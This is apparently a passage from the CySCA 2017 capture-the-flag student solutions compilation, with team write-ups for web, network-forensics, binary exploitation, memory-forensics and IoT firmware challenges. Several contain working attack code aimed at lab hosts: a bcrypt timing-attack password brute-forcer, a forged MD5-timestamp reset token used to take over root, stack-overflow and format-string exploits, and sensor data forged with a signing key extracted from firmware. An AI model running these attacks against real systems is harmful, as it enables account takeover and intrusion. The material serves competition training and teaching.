turn(rotate_right(3, get_position(), 15))

turn(rotate_left(2, get_position(), 35))

turn(35)

res = unlock()

#brute()

lock()

win(15)

status()

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 11 | P a g e

so the lock requires you to twist the lock

4 time sleft - number passes the 'index' 4 times.

3 times right - number passes the index 3 times

2 times left -

I have a 6 number buffer +/- of the target

so if I go

0-5-10 11-15-20 21-25-30 31-35-40 41-45-50

then its only 5^ 3 combinations which is trivially brute forced

so time to do the maths

my hit positions are

5,15,25,35,45

doing the maths.

general algorithm.

- check current position

- 3 * 50

so you do target - current

if res < 0 then 50 - res

-80.0 35.0 KK WE GOOD 5, 15, 35

Challenge 5: Hot coffee helps me sleep Challenge Description

Generating random data with hardware is hard

Writeups

CU1 due to the fact that the web app individually performs bCrypt per character within the password, it is

susceptible to a timing attack.

as more correct letters are guessed, more letters will be run through bCrypt (increasing response time), it is

possible to iterate over letters from a-z until a large increase in response time is observed

at which point the nth letter is now known and you can move onto guessing the (n+1)th letter

eg:

aaaaaaaa

baaaaaaa

...

qaaaaaaa

...

quaishua

UNSW1 Timing attack it hashes each character with a slow function. so, you brute force by observing the timings for

each character.

for alph in {a..z}; do echo $alph; time cURL

"http://10.13.37.210:8000/api/private/setTemperature?username=root&password=quaish"$alph"a&newTemperature=15"; done

by hand

UNSW4 Timing attack

Read the docs, inferred timing vuln.

Used this code with some manual intervention when false positives occurred:

import requests

import string

import time

PW_LENGTH = 8

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 12 | P a g e

current_pw = ""

TIME_DIFFERENCE = 0.75

for i in xrange(len(current_pw), PW_LENGTH):

for c in string.lowercase:

print (current_pw + c).ljust(PW_LENGTH, 'a'),

start_time = time.time()

r = requests.get("http://10.13.37.210:8000/api/private/settings",

params={'username': 'root',

'password': (current_pw + c).ljust(PW_LENGTH, 'a')})

total_time = time.time() - start_time

print total_time

if total_time > TIME_DIFFERENCE * (i + 1.5):

current_pw += c

print "SUCCESS for " + str(i)

break

MONU1 After manually enumerating the password length (trying "a", then "aa", "aaa", etc) to a length of 8, and

knowing that bCrypt can often be targeted with a timing attack (especially if it uses 50 cycles PER

CHARACTER), we created a python script to perform our exploit.

Assuming that character n would only be hashed and tested after character n-1 had been checked, we

created the following exploit:

import requests

import time

url = "http://10.13.37.210:8000"

api_settings = "/api/private/settings"

def req(api, username="", password="", post=False, ret=False):

data = { "username": username, "password": password }

if post:

r = requests.post(url + api, data=data)

else:

r = requests.get(url + api, data=data)

if ret:

return r.text

else:

print(r.text)

def settings(username="root", password="pass", ret=None):

string = req(api_settings, username=username, password=password, ret=ret)

if ret:

return string

t = 0

c = ""

p = "" # quaishua

for _ in range(0,8):

t = 0

for i in range(0, 26):

passwd = (p + chr(i+0x61)).ljust(8, "a")

print(passwd)

start = time.time()

settings(password=passwd)

end = time.time()-start

print(str(end)+"\n\n")

if end > t:

t = end

c = chr(i+0x61)

p += c

This resulted in the flag being revealed in the returned JSON.

ANU1 timing attack. bCrypting each character takes a long time and presumably the comparison is done until one

character is wrong. so, I started at the front and found which character made it take the longest and worked

my way through the password.

Challenge 6: Katy Perry my datacenter Challenge Description

To control the weather, you'll need the key to the earth simulator first

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 13 | P a g e

Writeups

UNSW1 set temperature to 120 using the hot coffee challenge

the key becomes fffffffffffffffffffff

and you get /api/images/relax.gif from decrypting the message

from this you check the headers and get /api/are-you-speaking-my-language

realise there's an accept-language header that asks for a directory

follow the hint and set accept-language to men-at-work

gives you the flag.

MONU1 We use our exploit from the "Hot coffee helps me sleep" timing attack to use the password "quaishua" to

increase the temperature to 100 degrees, which prevents the hardware RNG from operating effectively,

resulting in encryption keys of "f"*32.

We then use the python script provided to decrypt the AES, giving us an image URI. The image itself is

worthless, but inspecting the header gives you a custom HTTP header containing another URI. Navigating

there (with the prefix of '/api') gives you an error about the language. It is reflected to the page and is

vulnerable to LFI. Using the string 'men-at-work' in its place gives you the flag.

Challenge 7: My reset tokens are ready Challenge Description

This is ME

Writeups

QUT1 This was essentially just a process of manual enumeration and manipulation of end-points in the API. I began

by trying to access all the public end-points. It became clear that I needed some basic authentication to

access endpoints like '/public/user', I used the /public/user/register function to set up an account.

From there, I dumped the user names and saw there was a root user.

Once I had the username of the privileged user, I spent time trying to leverage the system functions to give

me access to its parcels (where I assumed there would be a flag).

It took me a long time to figure out how to capture the token -- I spent some time trying to reverse the binary

that was provided ("I'll just replace the phone numbers!" I whispered into the void), but in the end, it was some

frustrated button mashing (repeated refreshes) that showed me requests made in quick succession sent

duplicate tokens. After that, I wrote a basic python script to send two token requests -- one for 'root' and one

for 'ROOT'. Success!

This was extremely satisfying, thank you!

UTS2 After spamming the 'Get Reset Token (SMS)' button, I made an account to that I could reset the tokens (as

the challenge name suggests). I had the .bin file running in the background, reset the token, and inputted it

into the 'Reset Password', but there seemed to be more left to do than that as nothing had really happened.

I did an experiment by spamming the reset token button to see how they change and noticed that some of the

tokens were the same. So, I looked at the challenge description 'This Is ME', noticed that the capitalised

letters were 'TIME', and noticed that there was a time in the .bin file along with a line that says "+1000" which

I assumed meant 1000ms (1sec), and lead me to a theory that tokens were the same for 1sec.

I tried sending 'Get Reset Token (SMS)' requests at the same time for my account and the 'root' account,

and took the token from my account to be inputted into the 'root' account.

MQU1 I discovered that forgotten password requests that occur in the same second have the same reset token.

I first found the list of user names using python

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 14 | P a g e

import urllib.parse

import urllib.request

base = 'http://10.13.37.210:8002/api/'

public = base + 'public/user/'

values = {'username' : 'Dr. Jan Itor', 'password':'123'}

data = urllib.parse.urlencode(values)

data = data.encode()

req = urllib.request.Request(public, data, headers=headers, method='GET')

#req = Urllib.request.Request(URL)

the_page = None

with urllib.request.urlopen(req) as response:

content = response.read()

import json

users = [l[0] for l in json.loads(content)['user']]

Using some more python I requested tokens for the targets and my user

for user in users:

values = {'username' : user}

data = urllib.parse.urlencode(values)

data = data.encode()

req = urllib.request.Request(URL, data, headers=headers, method='GET')

the_page = None

with urllib.request.urlopen(req) as response:

print(response.read())

I finally used the token I received to reset my targets password.

ECU1 So, the given file acts as an SMS receive service for a single phone number.

I registered a user (test:test) with the associated phone number and smashed password resets.

Tokens were the same, so assumed time based.

I wrote a python script to send two requests pretty much at once for two different users.

token in reset field. :~)

Reset password for "Jan Itor" to 1

login.

ok this works.

Tried admin and root in reset form to see if they existed. Cool, root exists.

did the same for "root"

flag get.

MONU1 After creating a new user and requesting a reset token for our account, we made the observation that the

token could be an MD5 hash. We ran the token through https://hashkiller.co.uk/md5-decrypter.aspx

which revealed that the token was an MD5 hash of the current UTC time in the format of a UNIX timestamp.

We could then generate our own MD5 hash of the current UTC UNIX timestamp and submit a password reset

for the root user with a password that we control, and retrieve the root user’s parcels.

import requests

import json

import hashlib

import time

url = "http://10.13.37.210:8002"

api_status = "/api/public/status"

api_getResetToken = "/api/public/user/getResetToken"

api_resetPassword = "/api/public/user/resetPassword"

api_parcels = "/api/private/user/parcels"

def get(api, data=None, post=False, pretty=False):

r = requests.get(url + api, data=data)

parsed = json.loads(r.text)

if pretty:

print(json.dumps(parsed, indent=4, sort_keys=True))

else:

print(r.text)

print("\n")

return r.text

def status():

data = { }

print("Requesting " + api_status)

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 15 | P a g e

return get(api_status, data=data)

def get_reset_token(username=" "):

data = { "username": username }

print("Requesting " + api_getResetToken)

return get(api_getResetToken, data=data)

def reset_password(username=" ", token=" ", password=" ", confirm=" "):

data = {"username": username,

"newPassword": password,

"confirmNewPassword": confirm,

"token": token

}

# print("Requesting " + api_resetPassword)

return get(api_resetPassword, data=data)

def parcels(username=" ", password=" "):

data = {"username": username,

"password": password

}

print("Requesting " + api_parcels)

return get(api_parcels, data=data)

if __name__ == '__main__':

status()

get_reset_token(username="root")

unix = str(time.time()).split(".")[0]

token = (hashlib.md5(unix.encode('utf-8')).hexdigest())

reset_password(username="root", token=token, password="rootpassword", confirm="rootpassword")

parcels(username="root", password="rootpassword")

Challenge 8: Lampje Challenge Description

One of the devices appeared to have been hacked. Can you please check it out for us?

Writeups

UNSW1 Oh my god. is this even web.

You spam the webcam to get the username and password from doug (that movie is great)

Then you login and get the creepy gif.

from the creepy gif you realise there are 3 images in rotation

so i just went convert shitty.gif shitty.png

then md5sum * | cut -d' ' -f1

then sort and do your conversion from hashes to dots and dashes. and blamo you get

/api/public/aiy8eidu and you got your flag.

kudos for being creative. I liked 2015's web better.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 16 | P a g e

Detect and Defend

Challenge 1: OZMA Challenge Description

Our engineers love sharing stories about Tik-Tok but who else read it?

Writeups

UOW1 opened pcap in Wireshark

filters for unusual protocol

found an unrecognized

followed the TCP stream and got the wizard of oz

destination mac of the recipient in the frame

dest mac also read the story

SWIN1 We have selected this MAC address by filtering all unique MACs in the .pcapng file and looking carefully at

the volume and direction of traffic. (An eBook we assumed would be high volume - and this appears to be the

case).

UNSW3 tshark -r "ozma.pcapng.part" -Tfields -e eth.src -e eth.dst -e ip.src -e ip.dst -e

http.host | sort | uniq

oscp response is 00:50:56:91:30:4f

ECU1 Opened the PCAP in Wireshark. Looked through a number of packets and noticed plaintext of a story. Filtered

the packet display to x11 and arranged by Source.

An eBook was sent via the x11 protocol called "The Project Gutenberg eBook of Ozma of Oz" by L. Frank

Baum. The book is retransmitted again between the same IP addresses.

2 IP addresses are identified in the exchange: fe80::165c:7e74:bb0e:4a5a

fe80::f732:71e7:2ee7:e645

The MAC addresses for these are: 00:50:56:91:2d:31

00:50:56:91:ab:59

The eBook is again sent from the same IP to the same IP, however there is a new MAC address for the

receiver: 00:50:56:91:30:4f

This must be the second one.

CDU1 We first see the packet number: 27648, where the address IPv6 address: fe80::f732:71e7:2ee7:e645 (which has

the mac address: 00:50:56:91:ab:59) sends the packet to: fe80::165c:7e74:bb0e:4a5a (which has the mac

address: 00:50:56:91:30:4f).

We then see the mac address 00:50:56:91:30:4f re-sends the data as the IPv6 address

fe80::f732:71e7:2ee7:e645, they send the data to: fe80::165c:7e74:bb0e:4a5a (with the mac address:

00:50:91:2d:31). It seems that the transmission is going through the mac address: 00:50:56:91:30:4f each time

and this mac address seems to be spoofing their address and acting as a man in the middle with the

transmission.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 17 | P a g e

Challenge 2: It's Tic Toc. Not Tic Tap! Challenge Description

Search the IPFIX records in Splunk and name the IP leaking data.

Writeups

ECU1 I looked at common IP's using this filter: sourcetype=ipfix | top limit=20 source

and then looked at events to the one spewing out data.

Got this IP.

sourcetype=ipfix source="172.16.203.1:53853:256"

TNSWW2 I found that the device at IP 172.16.205.231 was sending data to external IP Addresses such as 223.0.0.251

and 162.213.33.50 by checking the IPFIX records

TNSWW4 Having accessed "splunk.cysca:8000", the IP address in question was discovered by executing

sourcetype=ipfix. This was done by going into Data Summary, then Source types and selecting ipfix. After

being presented with copious amounts of events, we narrowed down the selection by selecting the

"destinationIPv4Address" field from the sidebar, and then by selecting the "Events with this field"

report.

This then gave us multiple events proving that the IP address 172.16.205.231 was leaking data to third party

IPs

MONU3 Searching through the destination IP addresses of the IPFIX records, we find that most of the traffic is

between addresses on the same IP address range (172.16.x.x). 172.16.205.231 communicates with

10.66.212.14, 10.66.212.140 and 203.0.113.62 and other external IP addresses on a regular basis.

MONU2 created a count of source IP connection to destination IP. the result is exported to a csv file to be analysed in

python

The python script was able to extract the information. the data suggest that the answer IP is talking to a

foreign IP address 203.0.113.62 over 177 times without any data being sent back. this is one of a kind and

suggests something fishy is going on. if a node is only sending out data but not receiving from the destination

tells me that there might be a data leakage from the IP address

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 18 | P a g e

Exploitation

Challenge 1: Eggs and Bacon Challenge Description

Someone had the bright idea of making a heartbeat service for all our IoT gizmos to call home to. See if you can

break it!

Writeups

MQU3 ran Strings eggsandbacon.bin and noticed %d %s ; this is most likely parsing the input from the user into

the server

so I tried 4 aaa -> seemed to output something so I tried a couple of other values

running 128 a returns aLAG{4E373E504581A9D68F5F3D5A3E601610} -> this is clearly the flag where the a replaced the

F

RMIT1 nc -v exploit.cysca 11111 Warning: inverse host lookup failed for 10.13.37.85: Unknown host

exploit.cysca [10.13.37.85] 11111 (?) open

99

99

0

0

[!] ok with heartbeat length 99

0LAG{9204FD2C0E7F094ADAF2A7E50B9F1662}

MONU1 Looking at the binary we are provided, it reads the flag file into memory using fread(), it then takes user

input using fscanf %d %s, meaning it wants us to provide a decimal value and then a string. Following this it

then checks that the length of the %d parameter > 128. The %s parameter is then copied into the stack and

then that location on the stack is then printed using printf().

The vulnerability here is due to the placement of the fread() return value (the flag) on the stack. It means

that if we provide the scanf() call with a value less than 128 for the %d parameter and then 1 character for

the %s parameter, the printf() call will print whatever is on the stack at that current location, which in this

case is the flag string read from the flag file on the server. We can then see the flag value -1 character which

is the start character F.

MQU2 I decompiled the eggsandbacon.bin with IDA 64 and deduced that the input of "128\x00" would result in

the flag buffer being printed so i executed

echo "128 \x00" | netcat exploit.cysca 11111

and got the flag

FLINU2 Connected to Eggs and Bacon server using netcat (nc command). After trial and error, figured out the string

sent to be accepted must start with a number. Tried various numbers. Tried numbers followed by strings.

Figured out that if a string with a number was sent, that number of characters of the rest of the string would be

sent back (e.g. 1abc would send back 1bc, accept it, then send 'a' (1 character of string following numbers).

If a large number followed by a space was sent, then the memory locations after it would be read and sent up

to that length. Sending 50*space* returns the flag from memory.

Challenge 2: Warmup Challenge Description

Hmm? What's this?

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 19 | P a g e

Writeups

MONU1 After the challenge was re-created, we promptly went about reversing the new binary. After identifying the

new input values, we could see that there were 2 vulnerabilities in the file. The first was a format string

vulnerability in the printing of the name you provide using the 'n' option in the program.

The second vulnerability is a stack overflow. After attempting to leak the flag via the stack, we realised that the

function __libc_init was exported and because ASLR and PIE are disabled, we can reliably use the

address of this function. Coupled with our stack overflow, we can easily write 40 bytes into the name buffer to

then reach the return address and overwrite that with the address of __libc_init and get our flag.

MUR2 Created a python script to connect to the server, submit the n to get into the input field which was found by

using binary ninja to follow the flow and read the cmp value. Then used the website

(https://projects.jason-rush.com/tools/buffer-overflow-eip-offset-string-generator/) which

helped figure out where the offset was.

Then discovered the address of the flag through binary ninja by inspecting the functions and coming across

the function __libc_init.

We could then encode the address into the buffer overflow and pad it out with symbols to ensure it properly

crashed.

Python script is below:

import socket

import time

host = "10.13.37.85"

port = 11511

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

s.sendall("n")

s.sendall("\n")

time.sleep(1)

s.sendall("a"*40 + "\x75\x87\x04\x08" + "a"*400 )

s.sendall("\n")

time.sleep(1)

data = s.recv(4096)

print('Received ' + data)

s.close()

#time.sleep(1)

MQU3 Disassembled with objdump and reviewed how the program was functioning. the _libc__init function looks

interesting and on further inspection seems to load the flag... hmmm (fopen and printf says congrats on

flag!)

The main program goes around the party function, where it loads the address of meow function onto the stack

at ebp -0x5c = 12 byte offset. It then prompts the user ... from observing the control flow we notice that the

character 'n' allows to create a new name, 'p' jumps back to the new prompt, and 'q' quits out of the program.

Also, it is noted that when the "new name" prompt is started the name is put on the stack at ebp - 0x34 =

52 byte offset.

So, we have an overflow bug to corrupt where the meow function address is stored on the stack, since the

buffer is allowed 256 bytes. We also noted that meow is called by placing the ebp - 0x5c memory address

into eax and calling it.

So, we corrupt this memory address using a python script to insert the special character bytes such as \x08

\x04 so it calls party which gives the flag and then hey presto!

MONU3 I initially thought the vulnerability was format strings. but then I quickly realized I couldn't get the address of

GOT entries to overwrite. So, then I rage quit and inadvertently caused a buffer overflow. Then I realized that

the format variable was vulnerable to a buffer overflow all along!

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 20 | P a g e

From there, I created a pattern string with gdb-peda, and found out the padding required before overwriting

the part of the stack which will be stored into EAX before calling meow(). Then when the next time meow()

was called, the "win" (_libc_init()) function got called.

UNSW2 got puts overwrite GG

from pwn import *

local = 0

if local:

r = process("./warmup.bin")

else:

r = remote('10.13.37.85', 11511)

print r.recvuntil("> ")

def send_payload(payload):

r.sendline("n")

print r.recvuntil("> ")

print "sending: '{}'".format(payload)

r.sendline(payload)

print r.recvuntil("> ")

r.sendline("p")

re = r.recvline().strip()

re.strip('p')

print "recvd: '{}'".format(re)

print r.recvuntil("> ")

return re

f = FmtStr(send_payload)

# write (GOTputs <= libc_init)

f.write(0x08049e04, 0x08048775)

f.execute_writes()

r.interactive()

Challenge 3: MOVpwn Challenge Description

I found this service running on my IoT control centre. Some hackers must have left it running there, but I can't

make heads or tails of it. What's this?

Writeups

MQU3 netcat into server ... enter some garbage and see that it wants us to type in 'i like animals'

type in a couple of animal names... e.g. cat, dog ...nothing

disassemble the binary ... lot of MOV's ... NOPE!

maybe there is a buffer overflow? try 'i like animals' again, but this time enter a heap of characters

'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

wow it's not an animal but he has 1633771873 flags! EZ PEZ

MONU3 We saw that other than all the move commands it had two commands where it was rewriting system signals. It

replaced segmentation fault and illegal instruction with custom functions/addresses meaning that as long as

we could cause one of those faults we would be running the new function.

By entering in a name with over about 110 characters we were able to put enough data into memory that

when it tried its next mov command it must have hit our data and caused one of the two faults causing the flag

to be returned.

MUR2 After several attempts including loading the binary in binary ninja, creating a python script to send through a

large list of animals sourced from GitHub (https://raw.GitHubusercontent.com/hzlzh/Domain-Name-

List/master/Animal-words.txt) one at a time to try and find the right animal name, grabbing all the strings

from the file and grepping them I finally decided to just spam the keyboard at the prompt and got through.

Python script below for posterity:

import socket

import time

host = "10.13.37.85"

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 21 | P a g e

port = 11211

with open("animalnames.txt","r") as f:

content = f.readlines()

content = [x.strip() for x in content]

for elem in content:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

print elem

s.sendall("i like animals")

s.sendall("\n")

time.sleep(1)

s.sendall(elem)

s.sendall("\n")

time.sleep(1)

data = s.recv(4096)

print('Recieved ' + data)

s.close()

#time.sleep(1)

f.close()

RMIT3 1. Used `netcat` to access provided IP and port number

2. Tried various inputs, eventually following the instructions that stated to try typing in 'i like

animals'

3. After numerous guesses, tried spamming the program with a large length of characters, causing the

program to fail and abort

4. Found flag above memory heap dump

UNSW4

After hours of trying to learn how to use angr, we ended up solving this by buffer overflowing with

capital 'A's. I tried lowercase 'a's long before this I'll have you know.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 22 | P a g e

Forensics

Challenge 1: IO Challenge Description

What is the link that was used to compromise the user?

Writeups

CIT1 We filtered by pop and following the stream, and noticed that the user had received a dodgy looking email

from [email protected] to [email protected]. This email had a pdf attachment encoded with base64. We copied

the encoded text into a txt file and used OpenSSL to convert the text file to pdf.

openssl base64 -d -in test.txt -out testagain.pdf

SWIN2 I opened the packet capture in Wireshark and filtered the packets with: http contains ".exe"

This showed any HTTP packets that contained ".exe".

I found an "application/hta" packet and determined that this packet contained a VB script which

launched a PowerShell command (which was base64 encoded).

I followed the TCP stream of this packet to find the full URL (in packet 10621) that I have given as the flag.

RMIT4 First, Unzip package. Then, use Wireshark open pcap file. and re-save to the asdf.pcap.

Then, use software - NetworkMiner and search email, and finally, find the pdf file.

UOM1 We look only at the pcap for this question. We are told that there is a link used to compromise the user,

meaning that the user either saw it on the web or in an email (at least a very high probability). We believe it's

email (due in part to the hint but trial and error would have worked with only two things to test), so we set the

filter to only show the POP layer.

We notice a great deal many packets and Follow the TCP Stream on the first to find out the structure of an

email that is sent that has an attached file. There are methods to automate this, but that does not matter for

this problem.

We copy the base64 string and decode it into a binary file. The header states that the file is PDF, which we

set as the file extension and open. There is a link in the PDF that we use as the flag.

QUT2 1. Searched the pcap file for email to see if there were any emails the user received. Found a phishing

email that says to follow instructions on attached file, which is called baracuda.pdf

2. Follow TCP stream, to see the attachment below, which is encoded.

3. Charset includes A-Za-z1-9 and special characters so best bet is base64.

4. Save the string into a text file, use base64 kali program to decode the file, which then gets output into

another text file.

5. search text file for http:// because file should be hosted somewhere, and that is first place to start.

6. Find all the http:// addresses are to legitimate sources except for

http://miscemails.dyn.nerds.lu/miscemails.hta and

http://malicioushost.com.au/simon.hta however, to successfully pull off a phishing scam,

would more likely have a domain related to nerds and emails than "malicioushost"

Challenge 2: Europa Challenge Description

What is the SHA1 sum of the payload?

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 23 | P a g e

Writeups

ECU4 with previous RSA key save it to a file

then enter the following command

cat (filename) | base64 -d > barracuda.pdf

open the .pdf and click the "Click here to release emails link"

download the file and sha1 it

sha1 miscemails.hta

FLINU1 We downloaded the payload from the link in previous flag. Then ran sha1sum to get the hash.

UNSW3 This is the payload from the file that is downloaded from the link of the email.

TCP.stream eq 161

sha1sum miscemails.hta

MONU1 After extracting the pdf and identifying the malicious domain. I created a filter in Wireshark to view the HTTP

GET request made that contained the payload. This then revealed the embedded script within the page, which

downloaded a payload to the user’s system and then ran it in the context of that user.

To obtain the sha1sum, I copied that script from the page into a file and then used the command line tool

sha1sum to verify its hash.

SWIN2 I exported the miscemails.hta from Wireshark (Export Objects -> HTTP).

I then ran "sha1sum miscemails.hta" and removed the filename from the output (original output was sum +

filename).

The result was the sum by itself, which is the flag.

Challenge 3: Ganymede Challenge Description

What is the process id of the infected process from this attack?

Writeups

ANU1 The payload spawns two nested PowerShell instances, the parent having the PID 1668, before executing its

encoded and compressed payloads

ECU1 Searched for a list of processes within the supplied memory file using volatility.

volatility --profile=Win7SP1x64 -f memory pslist > mem_pslist.txt

Due to the previous challenge using PowerShell, I looked for processes linked to PowerShell/

cat mem_pslist.txt | grep -i PowerShell

Shows four instances of PowerShell processes.

Ran a volatility netscan, then checked the output

volatility netscan -f memory --profile=Win7SP1x64 > mem_netscan

cat mem_netscan | grep -i PowerShell

Only one PowerShell process made a network connection (output below). 0x13e568990 TCPv4 192.168.26.139:49362 192.168.26.136:4444 ESTABLISHED 1272 PowerShell.exe

UNSW3 From the payload found in the Wireshark packet captures, we know that the payload is targeting

PowerShell.exe.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 24 | P a g e

From using volatility on the memory dump with these two commands:

```

export VOLATILITY_PROFILE=Win7SP1x64

export VOLATLITY_LOCATION=file://mypath/memory

vol.py malfind --dump-dir malfind

vol.py PSTree

```

On outputting malfind my antivirus detects malware in the file: process.0xfffffa803294a2c0.0x5f20000.dmp

In the pstree output the address of 0xfffffa803294a2c0 correlates to `PowerShell.exe` which has the process

id of 1272.

Uploading this same memory dump to virus total gives a detection rate of 34/59, and signs that it has a

meterpreter (Metasploit feature for shell-like terminal) hook within it.

MQU2 I looked into the volatility scan

Plist, Malfind, Netscan, and psxid

Looking in plist I saw that there were PowerShells. One process opened cmd windows and this one must be

the infected process

UTS3 Initially wrote the command, `volatility -f memory --profile=Win7SP1x64 pslist` which gave us the

list of process IDs, however we needed to see the relationship between the infector and infectee.

therefore, we output `volatility -f memory --profile=Win7SP1x64 PSTree` to see the parent vs. child

relationships.

Challenge 4: Callisto Challenge Description

What database tables have been stolen? List the names.

Writeups

UOS1 Created timeline in volatility and saw the SQL tables after May 07 17:26

UNSW1 mftparser to find files in the temp directory that the attackers used to exfil. pops up with three new .SQL files

UTS1 Used Volatility to memdump the mySQL.exe process as a dump file. Then used grep to filter the dump file for

select statements from the employees database.

ECU1 Used volatility on the memory file provided to extract MTF records and copy to file.

volatility -f memory --profile=Win7SP1x64 mftparser > mem_mftparser.txt

Used grep to search for .SQL files. The above tables were found within the temp folder instead of the MySQL

standard location with multiple other tables.

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 25 | P a g e

MONU3 Used mftparser to scan the master file table for .SQL files. Used grep to limit output time to 07:26 when the

files were taken ( based on what I had seen in timeliner)

Challenge 5: Enceladus Challenge Description

The attacker uploaded files for persistence. What are their names?

Writeups

MONU3 Did a filescan of the memory for batch files and found a bc2d.bat that starts bc2d.b4mee in

john\Appdata\local.

ECU1 Used volatility to extract the MFT records.

volatility -f memory --profile=Win7SP1x64 mftparser > mem_mftparser.txt

Identified suspicious files based on date of initial infection. Spent a considerable amount of time trying to line

up timestamps. These two were stuck out due to the odd naming convention and close proximity to each other

in the AppData\Local\ folder.

Challenge 6: Tethys Challenge Description

What is James' password after he reset it?

Writeups

ECU1 Search the pcap for `matches "pass"` and find the two conversations.

Use php_mt_seed 15915983420 to find the mt_rand seed of 863592. Get new mt_rand() until you match

the token, then do it again to get the final number. Concat them together.

UNSW1 untwister.

pick the numbers from his tokens as the mt_rand seeds.

pick the right random number generator.

run for 15 seconds.

then do your appending with the global seeed.

kthxbai

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 26 | P a g e

IoT ESP8266

Challenge 1: Take a Peak Challenge Description

Check out the firmware, I wonder what you can find.

Writeups

ECU4 After uploading the game firmware to the device and letting it run, we then let it run for a little bit before we

dumped the memory again off the device by typing esptool.py -p /dev/ttyUSB0 read_flash 0x0

4194304 dump1.bin once dumped we ran it through strings to find the flag

UTS2 This is the self-signing-key, which was found by using strings on the IOT filesystem from 0x9000 onwards.

The script contained the key - which had a further comment which hinted at its purpose.

RMIT2 used flash_read to pull firmware after calling temperature challenge

mounted files by mount -o loop=/dev/loop0 iram6.bin fs

Found here:

def __init__(self):

self.URL = "http://tempsensor.cysca/data"

###You should know what below is.

self.signing_key = "SOXU9FXRDHL6UQBWGQJCRFGPOTQK2136"

FLINU2 Used esptool.py to read the flash off of the IOT device using the command esptool.py read_flash

0x89990 100000 binary21.txt.

This gave me data before and after the specified address, which led me to the flag contained in the

self.singing_key section of the tempsensor class.

UNSW2 Flash the firmware, run the IoT device for a while, then dump the firmware (esptool.py read_flash 0

1048576 ram0.bin).

Then string through the binary dump strings ram0.bin | less and look for interesting stuff. Come across

python object with a sneaky comment "###You should know what below is." and the a signing key

underneath SOXU9FXRDHL6UQBWGQJCRFGPOTQK2136

Challenge 2: Whoop Whoop Whoop Challenge Description

Trigger the Fire Alarm.

Writeups

UNSW3 I copied the python script from the firmware and extracted the sections that were involved with composing and

sending the sensor reading message to the server.

I made a false reading object with a temperature value of 500, I then signed this using the static key from the

firmware and sent it to the server. (MAC address was read from the tictoc website along with the UTC

timestamp format).

CU1 >Step 1: grab the fs dump from previous question

>Step 2: mount it as a drive

>Step 3: modify the main.py so that rather than polling actual temp results, it simply harcodes temp to 500

>Step 4: flash modified fs back to device (esptool.py -b 115200 -p COM<#> write_flash 0x90000

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 27 | P a g e

flash.dmp )

>Step 5: connect via serial and observe the server response

MQU2 Using the before obtained python code we edited the code to add 600 degrees to the temperature and wrote it

back into the flash memory.

dd if=/mnt/hgfs/Files/CySCA/code.txt of=dump_fire.bin bs=1 seek=$((0x9000))

count=$((0x1050)) && esptool.py --port /dev/ttyUSB0 --baud 11500 write_flash 0x90000

dump_fire.bin && screen /dev/ttyUSB0 115200

the IoT executed the modified code and sent malicious values to the backend and received the flag

UNSW2 - watched the traffic in Wireshark, worked out it was sending the temp/humidity data + a signature

- tried to just replay something but couldn't get the signature correct

- dumped the firmware using esptool: (I can't find the command in my bash history so this might not be totally

correct syntax?)

`esptool.py read_flash 0 1048576 output.bin`

- read through it and found the python code at the bottom, with the procedure for getting and sending the

temperature, in particular the method used to generate the signature

- modified the python code to run locally on my computer:

#import sensor

import requests

import datetime

#import URLencode

from urllib import urlencode

import hashlib

import binascii

#import gc

#from time import sleep_ms

from json import dumps

signing_key = "SOXU9FXRDHL6UQBWGQJCRFGPOTQK2136"

url = "http://tempsensor.cysca/data"

def do_thing():

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

t = 505

h = 50

jsondata = genjson(t,h)

sig = sign(jsondata)

#postdata = {"data":jsondata,"signature":signature}

postdata = {"data":jsondata,"signature":sig}

print(postdata)

postdata_encode = urlencode(postdata)

try:

response = requests.post(url,data=postdata_encode,headers=headers)

except Exception as e:

print( e)

if response.status_code == 200:

print( response.text.strip())

else:

print ( "ERROR %s: %s"%(response.status_code,response.reason.decode("utf-8").strip()))

def sign(jsondata):

#sign the jsondata array with secret+data

data = bytearray(signing_key+jsondata+signing_key)

hash = hashlib.sha1(data)

hash = binascii.hexlify(hash.digest()).decode("utf-8")

signature = hash.upper()

return signature

def postdata(self,jsondata,signature):

#send data to server

headers = {'Content-Type': 'application/x-www-form-urlencoded'}

postdata = {"data":jsondata,"signature":signature}

#print(postdata)

postdata_encode = urlencode.urlencode(postdata)

def genJSON(temp,humidity):

#gen the JSON string with mac, timestamp, temp, humidity

#mac = wifictrl.getmac()

mac = "A0:20:A6:04:99:11"

#timestamp = rtc.timestr(rtc.utctime())

timestamp = str(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"))

data = {"MAC":mac,"TIMESTAMP":timestamp,"TEMPERATURE":temp,"HUMIDITY":humidity}

jsondata = dumps(data)

return jsondata

do_thing()

© 2017 Cyber Security Challenge Australia CySCA 2017 – Student Solutions 28 | P a g e

UOS4 First, Wireshark was used to inspect the packets

Man in the middle attack was used - the packets needed to be intercepted, modified and then passed back

on. This was done by a tool called mitmproxy. Ports 444 and 80 (HTTPS and HTTP) for WLAN were

forwarded to the port that mitmproxy listens to (8080). mitmproxy was then able to be started and stood in

the middle of the computer and tempsensor.cysca.

I then intercepted all packets, and tried to modify the JSON dump section of the data. This was done by a

